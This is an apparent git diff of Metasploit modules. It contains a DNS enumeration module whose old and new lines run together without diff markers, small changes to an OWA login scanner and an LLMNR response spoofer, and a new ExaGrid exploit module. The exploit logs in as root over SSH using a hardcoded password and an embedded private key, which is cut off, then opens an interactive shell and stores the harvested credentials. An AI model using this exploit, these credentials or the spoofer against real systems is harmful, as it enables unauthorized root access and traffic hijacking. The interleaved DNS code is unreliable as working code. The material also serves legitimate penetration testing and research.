|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def reverselkp(iprange,nssrv)
|
||||
print_status("Running reverse lookup against IP range #{iprange}")
|
||||
if not nssrv.nil?
|
||||
@res.nameserver = (nssrv)
|
||||
@nsinuse = nssrv
|
||||
end
|
||||
ar = Rex::Socket::RangeWalker.new(iprange)
|
||||
tl = []
|
||||
while (true)
|
||||
# Spawn threads for each host
|
||||
while (tl.length < @threadnum)
|
||||
ip = ar.next_ip
|
||||
break if not ip
|
||||
tl << framework.threads.spawn("Module(#{self.refname})-#{ip}", false, ip.dup) do |tip|
|
||||
begin
|
||||
query = @res.query(tip)
|
||||
raise ::Rex::ConnectionError
|
||||
query.each_ptr do |addresstp|
|
||||
print_status("Hostname: #{addresstp} IP address: #{tip.to_s}")
|
||||
report_note(:host => @nsinuse.to_s,
|
||||
:proto => 'udp',
|
||||
:sname => 'dns',
|
||||
:port => 53 ,
|
||||
:type => 'dns.enum',
|
||||
:update => :unique_data,
|
||||
:data => "#{addresstp},#{tip},A")
|
||||
end
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::ConnectionError
|
||||
rescue ::Exception => e
|
||||
print_error("Error: #{tip}: #{e.message}")
|
||||
elog("Error running against host #{tip}: #{e.message}\n#{e.backtrace.join("\n")}")
|
||||
end
|
||||
end
|
||||
end
|
||||
# Exit once we run out of hosts
|
||||
if(tl.length == 0)
|
||||
break
|
||||
end
|
||||
tl.first.join
|
||||
tl.delete_if { |t| not t.alive? }
|
||||
end
|
||||
end
|
||||
|
||||
# SRV Record Enumeration
|
||||
def srvqry(dom,nssrv)
|
||||
print_status("Enumerating SRV records for #{dom}")
|
||||
i, a = 0, []
|
||||
# Most common SRV Records
|
||||
srvrcd = [
|
||||
"_gc._tcp.","_kerberos._tcp.", "_kerberos._udp.","_ldap._tcp.","_test._tcp.",
|
||||
"_sips._tcp.","_sip._udp.","_sip._tcp.","_aix._tcp.","_aix._tcp.","_finger._tcp.",
|
||||
"_ftp._tcp.","_http._tcp.","_nntp._tcp.","_telnet._tcp.","_whois._tcp.","_h323cs._tcp.",
|
||||
"_h323cs._udp.","_h323be._tcp.","_h323be._udp.","_h323ls._tcp.","_h323ls._udp.",
|
||||
"_sipinternal._tcp.","_sipinternaltls._tcp.","_sip._tls.","_sipfederationtls._tcp.",
|
||||
"_jabber._tcp.","_xmpp-server._tcp.","_xmpp-client._tcp.","_imap._tcp.","_certificates._tcp.",
|
||||
"_crls._tcp.","_pgpkeys._tcp.","_pgprevokations._tcp.","_cmp._tcp.","_svcp._tcp.","_crl._tcp.",
|
||||
"_ocsp._tcp.","_PKIXREP._tcp.","_smtp._tcp.","_hkp._tcp.","_hkps._tcp.","_jabber._udp.",
|
||||
"_xmpp-server._udp.","_xmpp-client._udp.","_jabber-client._tcp.","_jabber-client._udp."]
|
||||
srvrcd.each do |srvt|
|
||||
trg = "#{srvt}#{dom}"
|
||||
query = @res.query(trg , Net::DNS::SRV)
|
||||
next unless query
|
||||
query.answer.each do |srv|
|
||||
next if srv.type == "CNAME"
|
||||
print_status("SRV Record: #{trg} Host: #{srv.host} Port: #{srv.port} Priority: #{srv.priority}")
|
||||
end
|
||||
end
|
||||
print_status("Done")
|
||||
end
|
||||
|
||||
# For Performing Zone Transfers
|
||||
def axfr(target, nssrv)
|
||||
print_status("Performing zone transfer against all nameservers in #{target}")
|
||||
if not nssrv.nil?
|
||||
@res.nameserver=(nssrv)
|
||||
@nsinuse = nssrv
|
||||
end
|
||||
@res.tcp_timeout=15
|
||||
query = @res.query(target, "NS")
|
||||
if query && query.answer.length != 0
|
||||
(query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |nsrcd|
|
||||
print_status("Testing nameserver: #{nsrcd.nsdname}")
|
||||
nssrvquery = @res.query(nsrcd.nsdname, "A")
|
||||
if nssrvquery.answer.length == 0
|
||||
nssrvip = Rex::Socket.gethostbyname(nsrcd.nsdname)[3].bytes.reduce {|a,b| [a,b].join(".")}
|
||||
else
|
||||
nssrvip = nssrvquery.answer[0].address.to_s
|
||||
end
|
||||
begin
|
||||
@res.nameserver=(nssrvip)
|
||||
@nsinuse = nssrvip
|
||||
zone = []
|
||||
|
||||
begin
|
||||
zone = @res.axfr(target)
|
||||
rescue ::NoResponseError
|
||||
end
|
||||
|
||||
if zone.length != 0
|
||||
print_status("Zone transfer successful")
|
||||
report_note(:host => nssrvip,
|
||||
:proto => 'udp',
|
||||
:sname => 'dns',
|
||||
:port => 53 ,
|
||||
:type => 'dns.enum',
|
||||
:update => :unique_data,
|
||||
:data => zone)
|
||||
# Prints each record according to its type
|
||||
zone.each do |response|
|
||||
response.answer.each do |rr|
|
||||
begin
|
||||
case rr.type
|
||||
when "A"
|
||||
print_status("Name: #{rr.name} IP address: #{rr.address} Record: A ")
|
||||
when "SOA"
|
||||
print_status("Name: #{rr.mname} Record: SOA")
|
||||
when "MX"
|
||||
print_status("Name: #{rr.exchange} Preference: #{rr.preference} Record: MX")
|
||||
when "CNAME"
|
||||
print_status("Name: #{rr.cname} Record: CNAME")
|
||||
when "HINFO"
|
||||
print_status("CPU: #{rr.cpu} OS: #{rr.os} Record: HINFO")
|
||||
when "AAAA"
|
||||
print_status("IPv6 Address: #{rr.address} Record: AAAA")
|
||||
when "NS"
|
||||
print_status("Name: #{rr.nsdname} Record: NS")
|
||||
when "TXT"
|
||||
print_status("Text: #{rr.inspect}")
|
||||
when "SRV"
|
||||
print_status("Host: #{rr.host} Port: #{rr.port} Priority: #{rr.priority} Record: SRV")
|
||||
end
|
||||
rescue ActiveRecord::RecordInvalid
|
||||
# Do nothing. Probably tried to store :host => 127.0.0.1
|
||||
end
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("Zone transfer failed (length was zero)")
|
||||
end
|
||||
rescue Exception => e
|
||||
print_error("Error executing zone transfer: #{e.message}")
|
||||
elog("Error executing zone transfer: #{e.message}\n#{e.backtrace.join("\n")}")
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
print_error("Could not resolve domain #{target}")
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
@res = Net::DNS::Resolver.new()
|
||||
if datastore['TCP_DNS']
|
||||
vprint_status("Using DNS/TCP")
|
||||
@res.use_tcp = true
|
||||
end
|
||||
@res.retry = datastore['RETRY'].to_i
|
||||
@res.retry_interval = datastore['RETRY_INTERVAL'].to_i
|
||||
@threadnum = datastore['THREADS'].to_i
|
||||
wldcrd = wildcard(datastore['DOMAIN'])
|
||||
switchdns(datastore['DOMAIN'])
|
||||
domain = datastore['DOMAIN']
|
||||
is_wildcard = dns_wildcard_enabled?(domain)
|
||||
|
||||
if(datastore['ENUM_STD'])
|
||||
genrcd(datastore['DOMAIN'])
|
||||
end
|
||||
axfr(domain) if datastore['ENUM_AXFR']
|
||||
get_a(domain) if datastore['ENUM_A']
|
||||
get_cname(domain) if datastore['ENUM_CNAME']
|
||||
get_ns(domain) if datastore['ENUM_NS']
|
||||
get_mx(domain) if datastore['ENUM_MX']
|
||||
get_soa(domain) if datastore['ENUM_SOA']
|
||||
get_txt(domain) if datastore['ENUM_TXT']
|
||||
get_tld(domain) if datastore['ENUM_TLD']
|
||||
get_srv(domain) if datastore['ENUM_SRV']
|
||||
threads = datastore['THREADS']
|
||||
dns_reverse(datastore['IPRANGE'], threads) if datastore['ENUM_RVL']
|
||||
|
||||
if(datastore['ENUM_TLD'])
|
||||
tldexpnd(datastore['DOMAIN'],datastore['NS'])
|
||||
return unless datastore['ENUM_BRT']
|
||||
if is_wildcard
|
||||
dns_bruteforce(domain, threads) unless datastore['STOP_WLDCRD']
|
||||
else
|
||||
dns_bruteforce(domain, threads)
|
||||
end
|
||||
end
|
||||
|
||||
if(datastore['ENUM_BRT'])
|
||||
if wldcrd and datastore['STOP_WLDCRD']
|
||||
print_error("Wildcard record found!")
|
||||
def dns_query(domain, type)
|
||||
begin
|
||||
nameserver = datastore['NS']
|
||||
if nameserver.blank?
|
||||
dns = Net::DNS::Resolver.new
|
||||
else
|
||||
dnsbrute(datastore['DOMAIN'],datastore['WORDLIST'],datastore['NS'])
|
||||
dns = Net::DNS::Resolver.new(nameservers: ::Rex::Socket.resolv_to_dotted(nameserver))
|
||||
end
|
||||
dns.use_tcp = datastore['TCP_DNS']
|
||||
dns.udp_timeout = datastore['TIMEOUT']
|
||||
dns.retry_number = datastore['RETRY']
|
||||
dns.retry_interval = datastore['RETRY_INTERVAL']
|
||||
dns.query(domain, type)
|
||||
rescue ResolverArgumentError, Errno::ETIMEDOUT, ::NoResponseError, ::Timeout::Error => e
|
||||
print_error("Query #{domain} DNS #{type} - exception: #{e}")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def dns_bruteforce(domain, threads)
|
||||
wordlist = datastore['WORDLIST']
|
||||
return if wordlist.blank?
|
||||
threads = 1 if threads <= 0
|
||||
|
||||
queue = []
|
||||
File.foreach(wordlist) do |line|
|
||||
queue << "#{line.chomp}.#{domain}"
|
||||
end
|
||||
|
||||
records = []
|
||||
until queue.empty?
|
||||
t = []
|
||||
threads = 1 if threads <= 0
|
||||
|
||||
if queue.length < threads
|
||||
# work around issue where threads not created as the queue isn't large enough
|
||||
threads = queue.length
|
||||
end
|
||||
|
||||
begin
|
||||
1.upto(threads) do
|
||||
t << framework.threads.spawn("Module(#{refname})", false, queue.shift) do |test_current|
|
||||
Thread.current.kill unless test_current
|
||||
a = get_a(test_current, 'DNS bruteforce records')
|
||||
records |= a if a
|
||||
end
|
||||
end
|
||||
t.map(&:join)
|
||||
|
||||
rescue ::Timeout::Error
|
||||
ensure
|
||||
t.each { |x| x.kill rescue nil }
|
||||
end
|
||||
end
|
||||
records
|
||||
end
|
||||
|
||||
if(datastore['ENUM_IP6'])
|
||||
if wldcrd and datastore['STOP_WLDCRD']
|
||||
print_status("Wildcard Record Found!")
|
||||
else
|
||||
bruteipv6(datastore['DOMAIN'],datastore['WORDLIST'],datastore['NS'])
|
||||
def dns_reverse(cidr, threads)
|
||||
iplst = []
|
||||
ipadd = Rex::Socket::RangeWalker.new(cidr)
|
||||
numip = ipadd.num_ips
|
||||
while iplst.length < numip
|
||||
ipa = ipadd.next_ip
|
||||
break unless ipa
|
||||
iplst << ipa
|
||||
end
|
||||
|
||||
records = []
|
||||
while !iplst.nil? && !iplst.empty?
|
||||
t = []
|
||||
threads = 1 if threads <= 0
|
||||
begin
|
||||
1.upto(threads) do
|
||||
t << framework.threads.spawn("Module(#{refname})", false, iplst.shift) do |ip_text|
|
||||
next if ip_text.nil?
|
||||
a = get_ptr(ip_text)
|
||||
records |= a if a
|
||||
end
|
||||
end
|
||||
t.map(&:join)
|
||||
|
||||
rescue ::Timeout::Error
|
||||
ensure
|
||||
t.each { |x| x.kill rescue nil }
|
||||
end
|
||||
end
|
||||
records
|
||||
end
|
||||
|
||||
if(datastore['ENUM_AXFR'])
|
||||
axfr(datastore['DOMAIN'],datastore['NS'])
|
||||
def dns_wildcard_enabled?(domain)
|
||||
records = get_a("#{Rex::Text.rand_text_alpha(16)}.#{domain}", 'DNS wildcard records')
|
||||
if records.blank?
|
||||
false
|
||||
else
|
||||
print_warning('dns wildcard is enable OR fake dns server')
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
if(datastore['ENUM_SRV'])
|
||||
srvqry(datastore['DOMAIN'],datastore['NS'])
|
||||
end
|
||||
def get_ptr(ip)
|
||||
resp = dns_query(ip, nil)
|
||||
return if resp.blank? || resp.answer.blank?
|
||||
|
||||
if(datastore['ENUM_RVL'] and datastore['IPRANGE'] and not datastore['IPRANGE'].empty?)
|
||||
reverselkp(datastore['IPRANGE'],datastore['NS'])
|
||||
records = []
|
||||
resp.answer.each do |r|
|
||||
next unless r.class == Net::DNS::RR::PTR
|
||||
records << r.ptr.to_s
|
||||
print_good("#{ip}: PTR: #{r.ptr} ")
|
||||
end
|
||||
return if records.blank?
|
||||
save_note(ip, 'DNS PTR records', records)
|
||||
records
|
||||
end
|
||||
|
||||
def get_a(domain, type='DNS A records')
|
||||
resp = dns_query(domain, 'A')
|
||||
return if resp.blank? || resp.answer.blank?
|
||||
|
||||
records = []
|
||||
resp.answer.each do |r|
|
||||
next unless r.class == Net::DNS::RR::A
|
||||
records << r.address.to_s
|
||||
print_good("#{domain} A: #{r.address} ") if datastore['ENUM_BRT']
|
||||
end
|
||||
return if records.blank?
|
||||
save_note(domain, type, records)
|
||||
records
|
||||
end
|
||||
|
||||
def get_cname(domain)
|
||||
print_status("querying DNS CNAME records for #{domain}")
|
||||
resp = dns_query(domain, 'CNAME')
|
||||
return if resp.blank? || resp.answer.blank?
|
||||
|
||||
records = []
|
||||
resp.answer.each do |r|
|
||||
next unless r.class == Net::DNS::RR::CNAME
|
||||
records << r.cname.to_s
|
||||
print_good("#{domain} CNAME: #{r.cname}")
|
||||
end
|
||||
return if records.blank?
|
||||
save_note(domain, 'DNS CNAME records', records)
|
||||
records
|
||||
end
|
||||
|
||||
def get_ns(domain)
|
||||
print_status("querying DNS NS records for #{domain}")
|
||||
resp = dns_query(domain, 'NS')
|
||||
return if resp.blank? || resp.answer.blank?
|
||||
|
||||
records = []
|
||||
resp.answer.each do |r|
|
||||
next unless r.class == Net::DNS::RR::NS
|
||||
records << r.nsdname.to_s
|
||||
print_good("#{domain} NS: #{r.nsdname}")
|
||||
end
|
||||
return if records.blank?
|
||||
save_note(domain, 'DNS NS records', records)
|
||||
records
|
||||
end
|
||||
|
||||
def get_mx(domain)
|
||||
print_status("querying DNS MX records for #{domain}")
|
||||
begin
|
||||
resp = dns_query(domain, 'MX')
|
||||
return if resp.blank? || resp.answer.blank?
|
||||
|
||||
records = []
|
||||
resp.answer.each do |r|
|
||||
next unless r.class == Net::DNS::RR::MX
|
||||
records << r.exchange.to_s
|
||||
print_good("#{domain} MX: #{r.exchange}")
|
||||
end
|
||||
rescue SocketError => e
|
||||
print_error("Query #{domain} DNS MX - exception: #{e}")
|
||||
ensure
|
||||
return if records.blank?
|
||||
save_note(domain, 'DNS MX records', records)
|
||||
records
|
||||
end
|
||||
end
|
||||
|
||||
def get_soa(domain)
|
||||
print_status("querying DNS SOA records for #{domain}")
|
||||
resp = dns_query(domain, 'SOA')
|
||||
return if resp.blank? || resp.answer.blank?
|
||||
|
||||
records = []
|
||||
resp.answer.each do |r|
|
||||
next unless r.class == Net::DNS::RR::SOA
|
||||
records << r.mname.to_s
|
||||
print_good("#{domain} SOA: #{r.mname}")
|
||||
end
|
||||
return if records.blank?
|
||||
save_note(domain, 'DNS SOA records', records)
|
||||
records
|
||||
end
|
||||
|
||||
def get_txt(domain)
|
||||
print_status("querying DNS TXT records for #{domain}")
|
||||
resp = dns_query(domain, 'TXT')
|
||||
return if resp.blank? || resp.answer.blank?
|
||||
|
||||
records = []
|
||||
resp.answer.each do |r|
|
||||
next unless r.class == Net::DNS::RR::TXT
|
||||
records << r.txt.to_s
|
||||
print_good("#{domain} TXT: #{r.txt}")
|
||||
end
|
||||
return if records.blank?
|
||||
save_note(domain, 'DNS TXT records', records)
|
||||
records
|
||||
end
|
||||
|
||||
def get_tld(domain)
|
||||
begin
|
||||
print_status("querying DNS TLD records for #{domain}")
|
||||
domain_ = domain.split('.')
|
||||
domain_.pop
|
||||
domain_ = domain_.join('.')
|
||||
|
||||
tlds = [
|
||||
'com', 'org', 'net', 'edu', 'mil', 'gov', 'uk', 'af', 'al', 'dz',
|
||||
'as', 'ad', 'ao', 'ai', 'aq', 'ag', 'ar', 'am', 'aw', 'ac', 'au',
|
||||
'at', 'az', 'bs', 'bh', 'bd', 'bb', 'by', 'be', 'bz', 'bj', 'bm',
|
||||
'bt', 'bo', 'ba', 'bw', 'bv', 'br', 'io', 'bn', 'bg', 'bf', 'bi',
|
||||
'kh', 'cm', 'ca', 'cv', 'ky', 'cf', 'td', 'cl', 'cn', 'cx', 'cc',
|
||||
'co', 'km', 'cd', 'cg', 'ck', 'cr', 'ci', 'hr', 'cu', 'cy', 'cz',
|
||||
'dk', 'dj', 'dm', 'do', 'tp', 'ec', 'eg', 'sv', 'gq', 'er', 'ee',
|
||||
'et', 'fk', 'fo', 'fj', 'fi', 'fr', 'gf', 'pf', 'tf', 'ga', 'gm',
|
||||
'ge', 'de', 'gh', 'gi', 'gr', 'gl', 'gd', 'gp', 'gu', 'gt', 'gg',
|
||||
'gn', 'gw', 'gy', 'ht', 'hm', 'va', 'hn', 'hk', 'hu', 'is', 'in',
|
||||
'id', 'ir', 'iq', 'ie', 'im', 'il', 'it', 'jm', 'jp', 'je', 'jo',
|
||||
'kz', 'ke', 'ki', 'kp', 'kr', 'kw', 'kg', 'la', 'lv', 'lb', 'ls',
|
||||
'lr', 'ly', 'li', 'lt', 'lu', 'mo', 'mk', 'mg', 'mw', 'my', 'mv',
|
||||
'ml', 'mt', 'mh', 'mq', 'mr', 'mu', 'yt', 'mx', 'fm', 'md', 'mc',
|
||||
'mn', 'ms', 'ma', 'mz', 'mm', 'na', 'nr', 'np', 'nl', 'an', 'nc',
|
||||
'nz', 'ni', 'ne', 'ng', 'nu', 'nf', 'mp', 'no', 'om', 'pk', 'pw',
|
||||
'pa', 'pg', 'py', 'pe', 'ph', 'pn', 'pl', 'pt', 'pr', 'qa', 're',
|
||||
'ro', 'ru', 'rw', 'kn', 'lc', 'vc', 'ws', 'sm', 'st', 'sa', 'sn',
|
||||
'sc', 'sl', 'sg', 'sk', 'si', 'sb', 'so', 'za', 'gz', 'es', 'lk',
|
||||
'sh', 'pm', 'sd', 'sr', 'sj', 'sz', 'se', 'ch', 'sy', 'tw', 'tj',
|
||||
'tz', 'th', 'tg', 'tk', 'to', 'tt', 'tn', 'tr', 'tm', 'tc', 'tv',
|
||||
'ug', 'ua', 'ae', 'gb', 'us', 'um', 'uy', 'uz', 'vu', 've', 'vn',
|
||||
'vg', 'vi', 'wf', 'eh', 'ye', 'yu', 'za', 'zr', 'zm', 'zw', 'int',
|
||||
'gs', 'info', 'biz', 'su', 'name', 'coop', 'aero']
|
||||
|
||||
records = []
|
||||
tlds.each do |tld|
|
||||
tldr = get_a("#{domain_}.#{tld}", 'DNS TLD records')
|
||||
next if tldr.blank?
|
||||
records |= tldr
|
||||
print_good("#{domain_}.#{tld}: TLD: #{tldr.join(',')}")
|
||||
end
|
||||
rescue ArgumentError => e
|
||||
print_error("Query #{domain} DNS TLD - exception: #{e}")
|
||||
ensure
|
||||
return if records.blank?
|
||||
records
|
||||
end
|
||||
end
|
||||
|
||||
def get_srv(domain)
|
||||
print_status("querying DNS SRV records for #{domain}")
|
||||
srv_protos = %w(tcp udp tls)
|
||||
srv_record_types = %w(
|
||||
gc kerberos ldap test sips sip aix finger ftp http
|
||||
nntp telnet whois h323cs h323be h323ls sipinternal sipinternaltls
|
||||
sipfederationtls jabber jabber-client jabber-server xmpp-server xmpp-client
|
||||
imap certificates crls pgpkeys pgprevokations cmp svcp crl oscp pkixrep
|
||||
smtp hkp hkps)
|
||||
|
||||
srv_records_data = []
|
||||
srv_record_types.each do |srv_record_type|
|
||||
srv_protos.each do |srv_proto|
|
||||
srv_record = "_#{srv_record_type}._#{srv_proto}.#{domain}"
|
||||
resp = dns_query(srv_record, Net::DNS::SRV)
|
||||
next if resp.blank? || resp.answer.blank?
|
||||
srv_record_data = []
|
||||
resp.answer.each do |r|
|
||||
next if r.type == Net::DNS::RR::CNAME
|
||||
host = r.host.gsub(/\.$/, '')
|
||||
data = {
|
||||
host: host,
|
||||
port: r.port,
|
||||
priority: r.priority
|
||||
}
|
||||
print_good("#{srv_record} SRV: #{data}")
|
||||
srv_record_data << data
|
||||
end
|
||||
srv_records_data << {
|
||||
srv_record => srv_record_data
|
||||
}
|
||||
report_note(
|
||||
type: srv_record,
|
||||
data: srv_record_data
|
||||
)
|
||||
end
|
||||
end
|
||||
return if srv_records_data.empty?
|
||||
end
|
||||
|
||||
def axfr(domain)
|
||||
nameservers = get_ns(domain)
|
||||
return if nameservers.blank?
|
||||
records = []
|
||||
nameservers.each do |nameserver|
|
||||
next if nameserver.blank?
|
||||
print_status("Attempting DNS AXFR for #{domain} from #{nameserver}")
|
||||
dns = Net::DNS::Resolver.new
|
||||
dns.use_tcp = datastore['TCP_DNS']
|
||||
dns.udp_timeout = datastore['TIMEOUT']
|
||||
dns.retry_number = datastore['RETRY']
|
||||
dns.retry_interval = datastore['RETRY_INTERVAL']
|
||||
|
||||
ns_a_records = []
|
||||
# try to get A record for nameserver from target NS, which may fail
|
||||
target_ns_a = get_a(nameserver, 'DNS AXFR records')
|
||||
ns_a_records |= target_ns_a if target_ns_a
|
||||
ns_a_records << ::Rex::Socket.resolv_to_dotted(nameserver)
|
||||
begin
|
||||
dns.nameservers -= dns.nameservers
|
||||
dns.nameservers = ns_a_records
|
||||
zone = dns.axfr(domain)
|
||||
rescue ResolverArgumentError, Errno::ECONNREFUSED, Errno::ETIMEDOUT, ::NoResponseError, ::Timeout::Error => e
|
||||
print_error("Query #{domain} DNS AXFR - exception: #{e}")
|
||||
end
|
||||
next if zone.blank?
|
||||
records << zone
|
||||
print_good("#{domain} Zone Transfer: #{zone}")
|
||||
end
|
||||
return if records.blank?
|
||||
save_note(domain, 'DNS AXFR recods', records)
|
||||
records
|
||||
end
|
||||
|
||||
def save_note(target, type, records)
|
||||
data = { 'target' => target, 'records' => records }
|
||||
report_note(host: target, sname: 'dns', type: type, data: data, update: :unique_data)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -158,7 +158,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
'Cookie' => 'PBack=0'
|
||||
}
|
||||
|
||||
if (datastore['SSL'].to_s.match(/^(t|y|1)/i))
|
||||
if datastore['SSL']
|
||||
if action.name == "OWA_2013"
|
||||
data = 'destination=https://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1'
|
||||
else
|
||||
|
|
|
@ -70,11 +70,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
@log_console = false
|
||||
@log_database = false
|
||||
|
||||
if (datastore['LogConsole'].to_s.match(/^(t|y|1)/i))
|
||||
if datastore['LogConsole']
|
||||
@log_console = true
|
||||
end
|
||||
|
||||
if (datastore['LogDatabase'].to_s.match(/^(t|y|1)/i))
|
||||
if datastore['LogDatabase']
|
||||
@log_database = true
|
||||
end
|
||||
|
||||
|
|
|
@ -44,7 +44,7 @@ attr_accessor :sock, :thread
|
|||
register_options([
|
||||
OptAddress.new('SPOOFIP', [ true, "IP address with which to poison responses", ""]),
|
||||
OptRegexp.new('REGEX', [ true, "Regex applied to the LLMNR Name to determine if spoofed reply is sent", '.*']),
|
||||
OptInt.new('TTL', [ false, "Time To Live for the spoofed response", 300]),
|
||||
OptInt.new('TTL', [ false, "Time To Live for the spoofed response", 30]),
|
||||
])
|
||||
|
||||
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
|
||||
|
@ -85,7 +85,7 @@ attr_accessor :sock, :thread
|
|||
when ::Net::DNS::A
|
||||
dns_pkt.answer << ::Net::DNS::RR::A.new(
|
||||
:name => name,
|
||||
:ttl => 30,
|
||||
:ttl => datastore['TTL'],
|
||||
:cls => ::Net::DNS::IN,
|
||||
:type => ::Net::DNS::A,
|
||||
:address => spoof.to_s
|
||||
|
@ -93,7 +93,7 @@ attr_accessor :sock, :thread
|
|||
when ::Net::DNS::AAAA
|
||||
dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
|
||||
:name => name,
|
||||
:ttl => 30,
|
||||
:ttl => datastore['TTL'],
|
||||
:cls => ::Net::DNS::IN,
|
||||
:type => ::Net::DNS::AAAA,
|
||||
:address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s
|
||||
|
|
|
@ -0,0 +1,183 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'net/ssh'
|
||||
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info, {
|
||||
'Name' => 'ExaGrid Known SSH Key and Default Password',
|
||||
'Description' => %q{
|
||||
ExaGrid ships a public/private key pair on their backup appliances to
|
||||
allow passwordless authentication to other ExaGrid appliances. Since
|
||||
the private key is easily retrievable, an attacker can use it to gain
|
||||
unauthorized remote access as root. Additionally, this module will
|
||||
attempt to use the default password for root, 'inflection'.
|
||||
},
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Privileged' => true,
|
||||
'Targets' => [ [ "Universal", {} ] ],
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd_interact',
|
||||
'ConnectionType' => 'find',
|
||||
},
|
||||
},
|
||||
'Author' => ['egypt'],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2016-1560' ], # password
|
||||
[ 'CVE', '2016-1561' ], # private key
|
||||
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/04/07/r7-2016-04-exagrid-backdoor-ssh-keys-and-hardcoded-credentials' ]
|
||||
],
|
||||
'DisclosureDate' => "Apr 07 2016",
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
|
||||
'DefaultTarget' => 0
|
||||
}))
|
||||
|
||||
register_options(
|
||||
[
|
||||
# Since we don't include Tcp, we have to register this manually
|
||||
Opt::RHOST(),
|
||||
Opt::RPORT(22)
|
||||
], self.class
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
|
||||
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
|
||||
]
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
# helper methods that normally come from Tcp
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def do_login(user)
|
||||
ssh_options = {
|
||||
auth_methods: ['publickey', 'password'],
|
||||
config: false,
|
||||
disable_agent: true,
|
||||
key_data: [ key_data ],
|
||||
msfmodule: self,
|
||||
msframework: framework,
|
||||
password: 'inflection',
|
||||
port: rport,
|
||||
proxies: datastore['Proxies'],
|
||||
record_auth_info: true,
|
||||
}
|
||||
ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']
|
||||
|
||||
begin
|
||||
ssh_socket = nil
|
||||
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
||||
ssh_socket = Net::SSH.start(rhost, user, ssh_options)
|
||||
end
|
||||
rescue Rex::ConnectionError
|
||||
return
|
||||
rescue Net::SSH::Disconnect, ::EOFError
|
||||
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
|
||||
return
|
||||
rescue ::Timeout::Error
|
||||
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
|
||||
return
|
||||
rescue Net::SSH::AuthenticationFailed
|
||||
print_error "#{rhost}:#{rport} SSH - Failed authentication"
|
||||
rescue Net::SSH::Exception => e
|
||||
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
|
||||
return
|
||||
end
|
||||
|
||||
if ssh_socket
|
||||
|
||||
# Create a new session from the socket, then dump it.
|
||||
conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/bash -i', true)
|
||||
ssh_socket = nil
|
||||
|
||||
return conn
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
# Ghetto hack to prevent the shell detection logic from hitting false
|
||||
# negatives due to weirdness with ssh sockets. We already know it's a shell
|
||||
# because auth succeeded by this point, so no need to do the check anyway.
|
||||
module TrustMeItsAShell
|
||||
def _check_shell(*args)
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
payload_instance.extend(TrustMeItsAShell)
|
||||
|
||||
conn = do_login("root")
|
||||
if conn
|
||||
print_good "Successful login"
|
||||
service_data = {
|
||||
address: rhost,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
service_name: 'ssh',
|
||||
workspace_id: myworkspace_id,
|
||||
}
|
||||
credential_data = {
|
||||
username: 'root',
|
||||
private_type: (conn.ssh.auth_info[:method] == "publickey" ? :ssh_key : :password),
|
||||
private_data: (conn.ssh.auth_info[:method] == "publickey" ? key_data : 'inflection'),
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
}.merge(service_data)
|
||||
|
||||
core = create_credential(credential_data)
|
||||
login_data = {
|
||||
core: core,
|
||||
last_attempted: Time.now,
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
|
||||
handler(conn.lsock)
|
||||
end
|
||||
end
|
||||
|
||||
def key_data
|
||||
<<EOF
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIICWAIBAAKBgGdlD7qeGU9f8mdfmLmFemWMnz1tKeeuxKznWFI+6gkaagqjAF10
|
||||
hIruzXQAik7TEBYZyvw9SvYU6MQFsMeqVHGhcXQ5yaz3G/eqX0RhRDn5T4zoHKZa
|
||||
E1MU86zqAUdSXwHDe3pz5JEoGl9EUHTLMGP13T3eBJ19MAWjP7Iuji9HAgElAoGA
|
||||
GSZrnBieX2pdjsQ55/AJA/HF3oJWTRysYWi0nmJUmm41eDV8oRxXl2qFAIqCgeBQ
|
||||
BWA4SzGA77/ll3cBfKzkG1Q3OiVG/YJPOYLp7127zh337hhHZyzTiSjMPFVcanrg
|
||||
